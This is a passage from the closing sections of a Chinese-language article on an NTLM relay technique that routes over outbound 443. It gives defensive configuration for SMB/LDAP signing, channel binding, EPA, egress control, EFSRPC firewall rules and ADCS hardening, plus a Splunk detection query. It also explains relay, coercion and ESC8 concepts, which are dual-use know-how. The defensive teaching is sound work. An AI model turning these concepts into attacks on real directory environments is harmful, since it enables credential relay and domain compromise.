  • 证书有效期长(默认 1 年),即使密码更改仍可用;
  • 适用于任何能被胁迫出 NTLM 认证的身份。

7. 防御方案

7.1 SMB Signing 强制启用

SMB Signing 是防御 SMB NTLM 中继的最有效措施。启用后,每个 SMB 消息都附带 HMAC-SHA256 签名,中继者无法伪造签名。

# GPO 配置: 强制 SMB Signing
# 路径: Computer Configuration > Policies > Windows Settings >
#        Security Settings > Local Policies > Security Options

# 通过注册表强制启用
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters" `
    -Name "RequireSecuritySignature" -Value 1 -Type DWord

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\LanmanWorkstation\Parameters" `
    -Name "RequireSecuritySignature" -Value 1 -Type DWord

# 验证
Get-SmbServerConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
# RequireSecuritySignature: True

Get-SmbClientConfiguration | Select EnableSecuritySignature, RequireSecuritySignature
# RequireSecuritySignature: True
SMB Signing 防御效果:
┌─────────────────────────────────────────────────────┐
│ 攻击者中继 SMB 流量:                                 │
│   1. 收到客户端的 SMB 消息 (含签名)                   │
│   2. 转发给目标服务器                                 │
│   3. 目标服务器验证签名                                │
│      → 签名密钥基于会话密钥                            │
│      → 中继者的会话密钥与客户端不同                    │
│      → 签名验证失败! 拒绝连接                         │
│                                                     │
│ 结论: SMB Signing 使 SMB 中继完全失效                 │
└─────────────────────────────────────────────────────┘

7.2 LDAP Signing 与 Channel Binding

LDAP Signing 对 LDAP 中继的作用与 SMB Signing 类似。此外,LDAP Channel Binding(通道绑定)将 LDAP 认证绑定到 TLS 通道,即使攻击者中继了 NTLM 认证,由于 TLS 通道不同,认证也会失败。

# 强制 LDAP Signing (域控)
# GPO: Computer Configuration > Windows Settings > Security Settings >
#       Local Policies > Security Options
# "Domain controller: LDAP server signing requirements" = "Require signing"

# 注册表方式
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LDAPServerIntegrity" -Value 2 -Type DWord
# 0 = None, 1 = Negotiate, 2 = Require

# 启用 LDAP Channel Binding (EPA)
# 需要域控安装 KB 相关补丁
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\NTDS\Parameters" `
    -Name "LdapEnforceChannelBinding" -Value 2 -Type DWord
# 0 = Disabled, 1 = Enabled (兼容), 2 = Always
Channel Binding 防御原理:
┌──────────────────────────────────────────────────────────┐
│ 客户端 ──TLS─→ 目标服务器                                 │
│                                                          │
│ Channel Binding Token (CBT) = SHA256(TLS Server Cert)    │
│                                                          ││ NTLM Type 3 消息中包含 CBT (绑定到当前 TLS 通道)         │
│                                                          │
│ 中继场景:                                                │
│   攻击者与目标服务器的 TLS 通道 ≠ 客户端的 TLS 通道       │
│   → CBT 不匹配                                           │
│   → 目标服务器拒绝认证                                    │
│                                                          │
│ 关键: Channel Binding 只对 LDAPS (636) 有效              │
│       普通 LDAP (389) 无 TLS, 无 CBT, 仍需 LDAP Signing  │
└──────────────────────────────────────────────────────────┘

7.3 EPA (Extended Protection for Authentication)

EPA 是微软对 NTLM 中继的系统性防御,核心是 Channel Binding Token (CBT)。EPA 适用于所有支持 Windows 集成认证的服务(IIS、LDAP、HTTP)。

# IIS EPA 配置
# 通过 appcmd 启用 EPA
%windir%\system32\inetsrv\appcmd.exe set config \
  -section:system.webServer/security/authentication/windowsAuthentication \
  /extendedProtection.tokenChecking:"Require" \
  /extendedProtection.flags:"None" \
  /commit:apphost

# ADCS Web 注册端点 EPA (防御 ESC8)
# 注册表
Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\HTTP\Parameters" `
    -Name "DisableExtendedProtection" -Value 0 -Type DWord

# 确保 ADCS Web 注册站点启用 EPA
# IIS Manager > CertSrv > Authentication > Windows Authentication >
#   Advanced Settings > Extended Protection = Required

7.4 出站流量管控

"去而复返"技术依赖出站 443/TCP。防御方应对出站 443 也实施管控:

出站流量管控策略:
┌──────────────────────────────────────────────────────────────┐
│ 层级1: 出站代理强制                                           │
│   - 所有出站 HTTP/HTTPS 必须经企业正向代理                    │
│   - 代理进行 TLS 拦截 (MITM), 审计内容                        │
│   - 阻止直连互联网 IP (绕过代理)                              │
│                                                              │
│ 层级2: 域控出站锁定                                           │
│   - 域控不应有互联网出站能力                                   │
│   - 域控的 NSG/防火墙规则: 仅允许 → 其他DC/管理网段            │
│   - 阻止域控 → 互联网 443/TCP                                 │
│                                                              │
│ 层级3: DNS 出站管控                                           │
│   - 仅允许内网 DNS 服务器 → 互联网 DNS                        │
│   - 客户端只能查询内网 DNS                                     │
│   - 阻止客户端直接查询外部 DNS (防 DNS 隧道)                  │
│   - 监控内网 DNS 中异常的 A 记录 (指向公网 IP)                 │
│                                                              │
│ 层级4: 出站流量行为分析                                       │
│   - 监控域控发起的出站 HTTP/HTTPS 连接 (异常行为)             │
│   - 域控不应主动访问互联网                                     │
│   - 告警: 域控 → 公网IP:443                                   │
└──────────────────────────────────────────────────────────────┘

Splunk 检测域控异常出站:

index=firewall action=allowed 
  src_category="domain_controllers"
  dest_ip != 10.0.0.0/8 
  dest_ip != 172.16.0.0/12
  dest_ip != 192.168.0.0/16
  dest_port=443
| stats count by src_ip, dest_ip, dest_port, _time
| eval severity="CRITICAL"
| alert

7.5 EFSRPC 接口限制

PetitPotam 和许多胁迫方法依赖 MS-EFSRPC 接口。限制该接口的访问可阻断胁迫:

# 方法1: 通过 Windows Firewall 限制 EFSRPC
# EFSRPC 通过 RPC 动态端口, 但可限制 RPC 端点映射器(135)的访问
# 仅允许域控之间的 RPC 通信

New-NetFirewallRule -Name "Block-EFSRPC-Inbound" `
  -DisplayName "Block MS-EFSRPC Inbound (PetitPotam防御)" `
  -Direction Inbound `
  -Protocol TCP `
  -LocalPort 135 `
  -Action Block `
  -RemoteAddress "any" `
  -Description "阻断来自非DC主机的RPC端口映射器访问"

# 允许DC之间的RPC
New-NetFirewallRule -Name "Allow-RPC-From-DCs" `
  -DisplayName "Allow RPC from Domain Controllers" `
  -Direction Inbound `
  -Protocol TCP `
  -LocalPort 135 `
  -Action Allow `
  -RemoteAddress "DC_Subnet"

# 方法2: 禁用 EFSRPC 相关注册表 (如果不需要 EFS)
# 注意: 影响加密文件系统功能, 谨慎操作
# HKLM\SOFTWARE\Microsoft\Rpc\DCOM Protocols 中移除 ncacn_ip_tcp

# 方法3: 安装 KB5005413 (微软针对 PetitPotam 的补丁)
# 该补丁将 MS-EFSRPC 的 RPC 接口改为要求认证
# 但仍可被认证用户利用, 需结合其他防御

7.6 ADCS Web 注册端点加固

ADCS Web 注册端点是 ESC8 中继的主要目标。加固措施:

ADCS Web 注册加固清单:
┌────────────────────────────────────────────────────────────┐
│ 1. 启用 EPA (Extended Protection)                          │
│    IIS > CertSrv > Windows Auth > Extended Protection      │
│    = Required                                              │
│                                                            │
│ 2. 启用 IIS "Require SSL" + "Client Certificates"          │
│    要求客户端证书双向认证                                   │
│    (NTLM 中继无法提供客户端证书)                            │
│                                                            │
│ 3. 限制可用的证书模板                                      │
│    - 移除高风险模板的 "Enroll" 权限                         │
│    - DomainController 模板: 仅 DC 机器账户可注册            │
│    - 任何模板不允许 "Authenticated Users" 注册              │
│                                                            │
│ 4. 网络层限制                                              │
│    ADCS Web 端点仅允许从管理网段访问                         │
│    阻止普通工作站网段 → ADCS:443                            │
│                                                            │
│ 5. 如果不需要 Web 注册, 直接禁用                            │
│    Remove-AdcsWebEnrollment (需重启 ADCS 服务)              │
│                                                            │
│ 6. 监控异常证书签发                                        │
│    Event ID 4886/4887 (ADCS 证书签发)                       │
│    告警: 短时间内大量证书签发                                │
│    告警: 非工作时间证书签发                                  │
│    告警: 机器账户请求用户证书模板                            │
└────────────────────────────────────────────────────────────┘
# 检查 ADCS Web 注册是否启用
Get-WindowsFeature -Name ADCS-Web-Enrollment

# 如果不需要, 移除
Uninstall-WindowsFeature -Name ADCS-Web-Enrollment -Restart

# 监控 ADCS 证书签发事件
# Event ID 4887: 证书签发成功
Get-WinEvent -FilterHashtable @{
    LogName='Security'
    Id=4887
    StartTime=(Get-Date).AddHours(-1)
} | Select-Object TimeCreated, 
    @{N='Requester';E={$_.Properties[5].Value}},
    @{N='Template';E={$_.Properties[8].Value}}

8. 总结

"去而复返"技术代表了 NTLM 中继攻击在工程化上的一个重要演进。它不再局限于"攻击者同时可见两端"的经典模型,而是通过利用企业网络"允许出站 443"这一普遍现实,构建了一条"出站 → 互联网 → 回引 → 内部目标"的迂回中继路径。

这项技术的核心洞察是:网络安全的最薄弱环节往往是那些被视为"正常业务流量"的通道。443/TCP 出站被视为正常,因此成为攻击者的隐蔽通道;LDAPS 的 Channel Binding 默认未启用,因此成为中继落地点;WebClient 服务可被远程触发,因此成为出站认证的载体。

防御"去而复返"技术不能依赖单一措施,而需要纵深防御:

防御层 措施 防御的攻击环节
认证层 EPA + Channel Binding 阻断中继到 LDAPS/HTTP
协议层 SMB/LDAP Signing 强制 阻断 SMB/LDAP 中继
网络层 域控出站锁定 阻断出站 443 流量
接口层 EFSRPC 接口限制 阻断 PetitPotam 胁迫
应用层 ADCS 端点加固 + EPA 阻断 ESC8 中继
监控层 DNS 异常 + 出站行为分析 检测 DNS 记录注入和异常出站

理解攻击者的"去而复返"路径,才能构建真正阻断这条路径的防御体系。在 NTLM 被彻底淘汰之前(微软已宣布逐步弃用 NTLM),上述纵深防御措施是每个 AD 环境的必备项。


免责声明

本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。